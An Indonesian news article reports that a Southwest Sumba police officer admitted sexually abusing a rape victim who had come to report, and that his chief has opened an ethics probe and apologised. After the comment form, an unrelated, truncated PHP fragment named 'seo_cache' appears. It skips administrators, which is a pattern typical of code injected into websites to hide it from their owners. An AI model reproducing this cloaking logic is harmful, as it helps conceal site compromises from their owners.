Kriminal

Kasus Pelecehan Seksual yang Dilakukan AIPDA PS Sudah Ditangani Polres SBD

×

Kasus Pelecehan Seksual yang Dilakukan AIPDA PS Sudah Ditangani Polres SBD

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kasus pelecehan seksual terhadap korban pemerkosaan yang dilakukan oknum anggota Polsek Wewewa Selatan sudah ditangani Polres Sumba Barat Daya.

Dalam keterangannya saat konferensi pers pada Sabtu (07/06/2025) malam Kapolres SBD AKBP Harianto Rantesalu, SIK, M.Si menegaskan, perbuatan oknum polisi tersebut akan diproses sesuai prosedur yang berlaku.

Dalam konferensi pers ini Kapolres didampingi Wakapolres Kompol Jeffris L. D. Fanggidae, SH, Kasi Humas IPTU Bernardus B. Kadi, SH, dan Kadi Propam IPDA Kordianus Andi, SH.

“Seperti rekan-rekan ketahui di media dan memang seperti itu setelah hasil investigasi kami bersama Pak Wakapolres, Kasi Propam untuk terduga pelanggar inisial AIPDA PS sudah kami lakukan pemeriksaan,” jelas Kapolres.

Saat ini, lanjutnya lagi, status untuk proses pelanggaran kode etik sudah dinaikkan ke posisi penyidikan.

“Terhadap yang bersangkutan sudah kami lakukan penanganan khusus sejak hari ini selama 30 hari ke depan,” imbuhnya.

Sesuai kronologi, sebut Harianto, kejadian itu bermula saat korban MML datang ke Polres pada Minggu (01/06/2025) untuk melaporkan peristiwa pemerkosaan yang menimpa dirinya.

Awalnya MML warga Desa Mandungo melaporkan dugaan tindak pidana pemerkosaan sesuai pasal 285 KUHP ke Polsek Wewewa Selatan.

Setelah itu korban diarahkan untuk melapor ke Polres karena pihak Polsek tidak berwenang menangani perkara Perlindungan Perempuan dan Anak (PPA).

Kemudian korban dibantu ke Polres untuk melakukan pelaporan.

“Pada tanggal 2 besok harinya AIPDA PS menjemput korban di rumahnya dengan alasan hendak melakukan pemeriksaan tambahan dan dibawa ke Polsek,” terang Kapolres.

“Nah di Polsek itulah kejadiannya seperti yang kita sudah lihat di media dan sudah diakui oleh yang bersangkutan,” tambahnya.

Pihaknya sangat menyesalkan perbuatan tidak terpuji yang dilakukan oleh oknum anggotanya.

“Perbuatan ini mencoreng nama baik institusi,” ujarnya.

Perwira polisi yang pernah sukses membongkar sejumlah kasus besar saat masih bertugas di Polda Jatim ini juga meminta maaf.

Dirinya menyampaikan permohonan maaf kepada seluruh masyarakat atas kegaduhan yang timbul.

“Atas nama institusi Polri khususnya Polres Sumba Barat Daya kami sampaikan permintaan maaf yang sebesar-besarnya kepada seluruh masyarakat,” ucapnya.

“Kami sangat menyesalkan perbuatan oknum anggota kami dan akan menangani kasus ini secara profesional sesuai prosedur hukum yang berlaku,” tegas Harianto Rantesalu. ( JIP/MS )

#pelecehanseksual #aipdaps #polressumbabaratdaya #kapolressbd

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>